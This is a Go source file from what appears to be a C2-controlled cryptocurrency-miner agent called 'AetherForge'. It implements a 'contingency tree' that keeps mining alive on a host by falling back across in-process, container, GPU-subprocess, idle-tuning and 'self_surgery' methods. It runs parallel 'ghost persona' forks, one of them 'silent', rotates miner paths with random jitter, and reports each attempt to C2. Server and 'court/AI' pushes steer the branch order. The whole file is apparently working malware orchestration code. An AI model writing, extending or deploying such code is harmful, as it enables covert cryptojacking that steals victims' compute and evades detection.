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AetherForge/agent/miner/contingency_tree.go
AetherForge 6dd5cbd461
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Add onion contingency miner tree with orchestrator and Seer telemetry.
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
2026-06-07 09:29:26 -07:00

653 lines
16 KiB
Go

package miner
import (
"context"
"crypto/rand"
"encoding/binary"
"errors"
"math"
"sync"
"time"
)
// Contingency branch identifiers — honest telemetry labels for operator Seer feed.
type ContingencyBranch string
const (
BranchInProcess ContingencyBranch = "inprocess"
BranchContainer ContingencyBranch = "container"
BranchGPUSubprocess ContingencyBranch = "gpu_subprocess"
BranchIdleTune ContingencyBranch = "idle_tune"
BranchSelfSurgery ContingencyBranch = "self_surgery"
)
// DefaultContingencyBranchOrder is the canonical single-host contingency walk.
var DefaultContingencyBranchOrder = []ContingencyBranch{
BranchInProcess,
BranchContainer,
BranchGPUSubprocess,
BranchIdleTune,
BranchSelfSurgery,
}
// OnionMinerHop is one layer in the contingency onion log shipped to C2.
type OnionMinerHop struct {
HopIndex int `json:"hop_index"`
BranchID string `json:"branch_id"`
Persona string `json:"persona,omitempty"`
Method string `json:"method"`
Outcome string `json:"outcome"`
Hashrate float64 `json:"hashrate"`
IsGhost bool `json:"is_ghost,omitempty"`
Timestamp string `json:"ts"`
Detail string `json:"detail,omitempty"`
}
// ContingencyPolicy is server-pulled discipline for the local contingency tree.
type ContingencyPolicy struct {
Enabled bool `json:"enabled"`
BranchOrder []string `json:"branch_order,omitempty"`
Personas []string `json:"personas,omitempty"`
HospiceAfter int `json:"hospice_after,omitempty"`
JitterMs int `json:"jitter_ms,omitempty"`
RotatePaths bool `json:"rotate_paths,omitempty"`
}
// ContingencyBranchParams is a server push after exhaustion or court verdict.
type ContingencyBranchParams struct {
BranchOrder []string `json:"branch_order,omitempty"`
Persona string `json:"persona,omitempty"`
SkipMethods []string `json:"skip_methods,omitempty"`
ForceMethod string `json:"force_method,omitempty"`
Reason string `json:"reason,omitempty"`
}
// BranchAttemptHooks wire agent-specific start/stop without importing client.
type BranchAttemptHooks struct {
StartInProcess func() error
StartContainer func() error
StartGPU func() error
ApplyIdleTune func() error
ApplySurgery func(skip []string, force string) error
StopAll func()
Hashrate func() float64
PoolActive func() bool
AcquirePool func() bool
ReleasePool func()
}
// OnionLogReporter ships onion_miner_log frames to C2.
type OnionLogReporter func(hop OnionMinerHop, depth int, exhausted bool)
// ContingencyTreeRunner executes the ordered contingency tree with optional ghost personas.
type ContingencyTreeRunner struct {
mu sync.Mutex
policy ContingencyPolicy
branchOrder []ContingencyBranch
personas []string
hooks BranchAttemptHooks
report OnionLogReporter
hops []OnionMinerHop
hopIndex int
frozenWinner string
frozenMethod ContingencyBranch
exhaustCycles int
hospiceRetired bool
operatorPaused bool
skipMethods map[string]bool
forceMethod ContingencyBranch
pendingParams *ContingencyBranchParams
}
// NewContingencyTreeRunner builds a runner from server policy and hooks.
func NewContingencyTreeRunner(policy ContingencyPolicy, hooks BranchAttemptHooks, report OnionLogReporter) *ContingencyTreeRunner {
r := &ContingencyTreeRunner{
policy: NormalizeContingencyPolicy(policy),
hooks: hooks,
report: report,
skipMethods: make(map[string]bool),
}
r.branchOrder = r.policyBranchOrder()
r.personas = append([]string(nil), r.policy.Personas...)
return r
}
// NormalizeContingencyPolicy fills defaults for zero-config server pull.
func NormalizeContingencyPolicy(p ContingencyPolicy) ContingencyPolicy {
if len(p.BranchOrder) == 0 {
p.BranchOrder = branchesToStrings(DefaultContingencyBranchOrder)
}
if len(p.Personas) == 0 {
p.Personas = []string{"balanced", "silent", "aggressive"}
}
if p.HospiceAfter <= 0 {
p.HospiceAfter = 12
}
if p.JitterMs <= 0 {
p.JitterMs = 750
}
return p
}
func branchesToStrings(in []ContingencyBranch) []string {
out := make([]string, len(in))
for i, b := range in {
out[i] = string(b)
}
return out
}
func (r *ContingencyTreeRunner) policyBranchOrder() []ContingencyBranch {
raw := r.policy.BranchOrder
if len(raw) == 0 {
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
}
out := make([]ContingencyBranch, 0, len(raw))
for _, s := range raw {
b := ContingencyBranch(s)
if b == "" {
continue
}
out = append(out, b)
}
if len(out) == 0 {
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
}
return out
}
// Depth returns the number of onion hops logged this strain cycle.
func (r *ContingencyTreeRunner) Depth() int {
r.mu.Lock()
defer r.mu.Unlock()
return len(r.hops)
}
// Frozen returns whether a winning branch is frozen.
func (r *ContingencyTreeRunner) Frozen() (method ContingencyBranch, ok bool) {
r.mu.Lock()
defer r.mu.Unlock()
if r.frozenMethod == "" {
return "", false
}
return r.frozenMethod, true
}
// Hops returns a copy of the onion log.
func (r *ContingencyTreeRunner) Hops() []OnionMinerHop {
r.mu.Lock()
defer r.mu.Unlock()
out := make([]OnionMinerHop, len(r.hops))
copy(out, r.hops)
return out
}
// SetOperatorPaused stops the tree until cleared (operator pause command).
func (r *ContingencyTreeRunner) SetOperatorPaused(paused bool) {
r.mu.Lock()
r.operatorPaused = paused
r.mu.Unlock()
}
// ApplyBranchParams merges a server/court push and clears exhaustion hospice counter.
func (r *ContingencyTreeRunner) ApplyBranchParams(p ContingencyBranchParams) {
r.mu.Lock()
defer r.mu.Unlock()
if len(p.BranchOrder) > 0 {
r.branchOrder = parseBranchOrder(p.BranchOrder)
}
if p.Persona != "" {
r.personas = []string{p.Persona}
}
r.skipMethods = make(map[string]bool)
for _, s := range p.SkipMethods {
r.skipMethods[s] = true
}
if p.ForceMethod != "" {
r.forceMethod = ContingencyBranch(p.ForceMethod)
}
r.pendingParams = nil
r.exhaustCycles = 0
}
func parseBranchOrder(raw []string) []ContingencyBranch {
out := make([]ContingencyBranch, 0, len(raw))
for _, s := range raw {
if b := ContingencyBranch(s); b != "" {
out = append(out, b)
}
}
if len(out) == 0 {
return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
}
return out
}
// MutateBranchOrderForPersona applies contingency discipline — honest label in Seer detail.
func MutateBranchOrderForPersona(base []ContingencyBranch, persona string, rotate bool) []ContingencyBranch {
order := append([]ContingencyBranch(nil), base...)
switch persona {
case "aggressive":
order = promoteBranch(order, BranchGPUSubprocess)
order = promoteBranch(order, BranchInProcess)
case "silent":
order = promoteBranch(order, BranchContainer)
order = demoteBranch(order, BranchGPUSubprocess)
case "passive":
order = promoteBranch(order, BranchIdleTune)
case "persuasive":
order = promoteBranch(order, BranchContainer)
order = promoteBranch(order, BranchSelfSurgery)
}
if rotate {
order = rotateBranchOrder(order, personaRotationSeed(persona))
}
return order
}
func promoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
idx := -1
for i, b := range order {
if b == target {
idx = i
break
}
}
if idx <= 0 {
return order
}
out := append([]ContingencyBranch{target}, order[:idx]...)
out = append(out, order[idx+1:]...)
return out
}
func demoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
idx := -1
for i, b := range order {
if b == target {
idx = i
break
}
}
if idx < 0 || idx == len(order)-1 {
return order
}
out := append([]ContingencyBranch(nil), order[:idx]...)
out = append(out, order[idx+1:]...)
out = append(out, target)
return out
}
func rotateBranchOrder(order []ContingencyBranch, seed uint32) []ContingencyBranch {
if len(order) < 2 {
return order
}
shift := int(seed % uint32(len(order)))
out := append([]ContingencyBranch(nil), order[shift:]...)
out = append(out, order[:shift]...)
return out
}
func personaRotationSeed(persona string) uint32 {
var h uint32
for i := 0; i < len(persona); i++ {
h = h*31 + uint32(persona[i])
}
return h
}
// Run executes the contingency tree until win, hospice, or operator pause.
func (r *ContingencyTreeRunner) Run(ctx context.Context) {
for {
select {
case <-ctx.Done():
return
default:
}
r.mu.Lock()
if r.operatorPaused || r.hospiceRetired {
r.mu.Unlock()
return
}
if r.frozenMethod != "" {
r.mu.Unlock()
return
}
r.mu.Unlock()
if r.runPass(ctx) {
return
}
r.mu.Lock()
r.exhaustCycles++
exhausted := r.exhaustCycles >= r.policy.HospiceAfter
if exhausted {
r.hospiceRetired = true
}
cycles := r.exhaustCycles
r.mu.Unlock()
r.emitHop(OnionMinerHop{
Method: "contingency_tree",
Outcome: "exhausted",
Detail: "full branch pass exhausted — awaiting court/AI branch params or hospice",
}, cycles, true)
if exhausted {
r.emitHop(OnionMinerHop{
Method: "hospice",
Outcome: "strain_retired",
Detail: "contingency discipline: strain retired after max exhaustion cycles",
}, cycles, true)
return
}
select {
case <-ctx.Done():
return
case <-time.After(r.jitterDuration()):
}
}
}
func (r *ContingencyTreeRunner) runPass(ctx context.Context) bool {
r.mu.Lock()
baseOrder := append([]ContingencyBranch(nil), r.branchOrder...)
personas := append([]string(nil), r.personas...)
force := r.forceMethod
skips := make(map[string]bool, len(r.skipMethods))
for k, v := range r.skipMethods {
skips[k] = v
}
r.mu.Unlock()
if force != "" {
return r.tryBranch(ctx, force, "canonical", "", false)
}
type ghostResult struct {
won bool
method ContingencyBranch
}
results := make(chan ghostResult, len(personas)+1)
// Canonical branch walk (holds pool).
go func() {
for _, branch := range baseOrder {
if skips[string(branch)] {
continue
}
if r.tryBranch(ctx, branch, "canonical", "", false) {
results <- ghostResult{won: true, method: branch}
return
}
}
results <- ghostResult{}
}()
// Ghost persona probes — no double pool.
for _, persona := range personas {
persona := persona
order := MutateBranchOrderForPersona(baseOrder, persona, r.policy.RotatePaths)
go func() {
for _, branch := range order {
if skips[string(branch)] {
continue
}
if r.tryBranch(ctx, branch, persona, persona, true) {
results <- ghostResult{won: true, method: branch}
return
}
}
results <- ghostResult{}
}()
}
won := false
for i := 0; i < len(personas)+1; i++ {
select {
case <-ctx.Done():
return true
case res := <-results:
if res.won {
won = true
}
}
}
return won
}
func (r *ContingencyTreeRunner) tryBranch(ctx context.Context, branch ContingencyBranch, branchID, persona string, ghost bool) bool {
select {
case <-ctx.Done():
return false
default:
}
if ghost {
if r.hooks.PoolActive != nil && r.hooks.PoolActive() {
r.emitHop(OnionMinerHop{
BranchID: branchID,
Persona: persona,
Method: string(branch),
Outcome: "ghost_skipped",
IsGhost: true,
Detail: "contingency discipline: ghost deferred — canonical holds pool",
}, r.Depth(), false)
return false
}
} else if r.hooks.AcquirePool != nil && !r.hooks.AcquirePool() {
return false
}
r.jitterWait(ctx)
hrBefore := r.snapshotHashrate()
r.emitHop(OnionMinerHop{
BranchID: branchID,
Persona: persona,
Method: string(branch),
Outcome: "trying",
Hashrate: hrBefore,
IsGhost: ghost,
Detail: r.branchDetail(branch, ghost),
}, r.Depth(), false)
err := r.executeBranch(branch)
hrAfter := r.snapshotHashrate()
won := err == nil && hrAfter > 0
outcome := "lost"
if won {
outcome = "won"
if ghost {
outcome = "ghost_won"
}
} else if ghost {
outcome = "ghost_lost"
}
detail := ""
if err != nil {
detail = err.Error()
}
r.emitHop(OnionMinerHop{
BranchID: branchID,
Persona: persona,
Method: string(branch),
Outcome: outcome,
Hashrate: hrAfter,
IsGhost: ghost,
Detail: detail,
}, r.Depth(), false)
if !ghost && r.hooks.ReleasePool != nil {
r.hooks.ReleasePool()
}
if won && !ghost {
r.mu.Lock()
r.frozenWinner = branchID
r.frozenMethod = branch
r.mu.Unlock()
return true
}
if won && ghost {
// Ghost win promotes method but canonical must acquire pool on next pass.
r.mu.Lock()
r.forceMethod = branch
r.mu.Unlock()
return true
}
if !ghost && r.hooks.StopAll != nil {
r.hooks.StopAll()
}
return false
}
func (r *ContingencyTreeRunner) branchDetail(branch ContingencyBranch, ghost bool) string {
label := "contingency discipline"
if ghost {
label += " · local persona fork (no lateral spread)"
}
switch branch {
case BranchIdleTune:
return label + " · idle_tune: thread/throttle backoff before retry"
case BranchSelfSurgery:
return label + " · self_surgery: epidemiology skip/force hooks"
default:
return label + " · rotate miner path with timing jitter"
}
}
func (r *ContingencyTreeRunner) executeBranch(branch ContingencyBranch) error {
switch branch {
case BranchInProcess:
if r.hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return r.hooks.StartInProcess()
case BranchContainer:
if r.hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return r.hooks.StartContainer()
case BranchGPUSubprocess:
if r.hooks.StartGPU == nil {
return ErrMethodUnavailable
}
return r.hooks.StartGPU()
case BranchIdleTune:
if r.hooks.ApplyIdleTune == nil {
return errors.New("idle_tune hook unavailable")
}
return r.hooks.ApplyIdleTune()
case BranchSelfSurgery:
if r.hooks.ApplySurgery == nil {
return errors.New("self_surgery hook unavailable")
}
r.mu.Lock()
skips := make([]string, 0, len(r.skipMethods))
for s := range r.skipMethods {
skips = append(skips, s)
}
force := string(r.forceMethod)
r.mu.Unlock()
return r.hooks.ApplySurgery(skips, force)
default:
return ErrMethodUnavailable
}
}
func (r *ContingencyTreeRunner) snapshotHashrate() float64 {
if r.hooks.Hashrate == nil {
return 0
}
return r.hooks.Hashrate()
}
func (r *ContingencyTreeRunner) jitterWait(ctx context.Context) {
d := r.jitterDuration()
if d <= 0 {
return
}
select {
case <-ctx.Done():
case <-time.After(d):
}
}
func (r *ContingencyTreeRunner) jitterDuration() time.Duration {
r.mu.Lock()
base := r.policy.JitterMs
r.mu.Unlock()
if base <= 0 {
return 0
}
var buf [8]byte
_, _ = rand.Read(buf[:])
n := binary.LittleEndian.Uint64(buf[:]) % uint64(base+1)
return time.Duration(base/2+int(n)) * time.Millisecond
}
func (r *ContingencyTreeRunner) emitHop(hop OnionMinerHop, depth int, exhausted bool) {
r.mu.Lock()
r.hopIndex++
hop.HopIndex = r.hopIndex
if hop.Timestamp == "" {
hop.Timestamp = time.Now().UTC().Format(time.RFC3339)
}
r.hops = append(r.hops, hop)
depth = len(r.hops)
report := r.report
r.mu.Unlock()
if report != nil {
report(hop, depth, exhausted)
}
}
// PoolGate serializes pool activation across canonical and ghost branches.
type PoolGate struct {
mu sync.Mutex
held bool
holder string
}
func NewPoolGate() *PoolGate { return &PoolGate{} }
func (g *PoolGate) Active() bool {
g.mu.Lock()
defer g.mu.Unlock()
return g.held
}
func (g *PoolGate) Acquire(id string) bool {
g.mu.Lock()
defer g.mu.Unlock()
if g.held && g.holder != id {
return false
}
g.held = true
g.holder = id
return true
}
func (g *PoolGate) Release(id string) {
g.mu.Lock()
defer g.mu.Unlock()
if g.holder == id {
g.held = false
g.holder = ""
}
}
// MinHashrateWin is the minimum H/s to treat a branch as linked.
const MinHashrateWin = 0.5
// BranchWon reports whether hashrate satisfies a win threshold.
func BranchWon(hashrate float64) bool {
return hashrate >= MinHashrateWin && !math.IsNaN(hashrate)
}